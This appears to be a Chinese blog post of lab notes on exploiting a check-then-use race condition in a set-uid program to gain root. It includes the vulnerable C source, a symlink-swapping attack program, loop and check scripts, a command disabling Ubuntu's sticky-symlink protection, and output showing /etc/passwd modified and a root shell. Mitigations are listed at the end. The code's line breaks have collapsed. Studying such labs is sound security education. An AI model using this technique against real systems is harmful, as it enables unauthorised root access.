軟體安全live第五期:軟體安全-競爭條件漏洞

本期live互動、答疑相關問題歸檔:

【軟體安全】輕鬆利用競爭漏洞提權?

www.zhihu.com圖標


Race Condition

概述競爭條件

char* fn = "/tmp/xyz"

檢查access(fn,W_OK) 使用open(fn,"a+")

在檢查和使用的時候fn所指向的文件不是一個文件

檢查的時候判斷的是用戶真實ID

使用的時候判斷的是用戶的有效ID

本實驗的目的是利用這個漏洞獲得root許可權

我們需要創造競爭條件,來完成這個實驗

競爭條件需求:

1. 需要這個有漏洞的程序反覆運行

2. 需要一個反覆更改/tmp/xyz文件的鏈接

3. 需要一個反覆檢查結果是否成功的腳本

初始化攻擊環境

  1. 實驗環境:ubuntu12
  2. 關閉保護機制

    $ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
  3. 創建普通文件./XYZ

漏洞程序分析

漏洞程序源碼:vulp.c

#include <stdio.h>#include <unistd.h>#include <string.h>int main(){ char * fn = "/tmp/xyz"; char buffer[] = "0000"; FILE *fp; if(!access(fn, W_OK)) { fp = fopen(fn, "r+"); fseek(fp,-28,SEEK_END); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else printf("No permission
");}

運行腳本:attack.sh

#!/bin/sh$a = 0while ["$a" == "$a"]do ./vulpdone

檢查運行結果是否修改了/etc/passwd文件:check.sh

#!/bin/shold=`ls -l /etc/passwd`new=`ls -l /etc/passwd`while [ "$old" = "$new" ]do new=`ls -l /etc/passwd`doneecho "STOP... The passwd file has been changed"

修改/tmp/xyz軟鏈接源文件:scrip.c

#include <unistd.h>int main(){ while(1) { unlink("/tmp/xyz"); symlink("/home/seed/Seed/race-condition/XYZ","/tmp/xyz"); usleep(10000); unlink("/tmp/xyz"); symlink("/etc/passwd","/tmp/xyz"); usleep(10000); } return 0;}

漏洞利用獲得root許可權

  1. 普通用戶編譯scrip.c,運行循環執行腳本attack.sh
  2. root用戶編譯vulp.c,設置set-uid位,普通用戶運行
  3. 運行檢查結果腳本check.sh

攻擊結果:

gu:x:0000:1004::/home/gu:/bin/sh[03/26/2018 23:17] seed@ubuntu:~/Seed/race-condition$ su guPassword: # # whoamiroot#

保護措施

  1. 保證檢查和使用的文件是同一個文件
  2. 及時回收set-uid的特權
  3. 打開ubuntu12系統保護

    $ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

推薦閱讀:

某種流量劫持攻擊的原理簡述和演示
「黑客」杭特:為什麼老濕父更看重「防」?
幾維安全提醒勒索病毒又來襲 網路安全行業或迎機遇
業務連續性計劃概述(Day008)
美國國家網路空間安全態勢感知協調機制

TAG:黑客Hacker | 信息安全 | 網路安全 |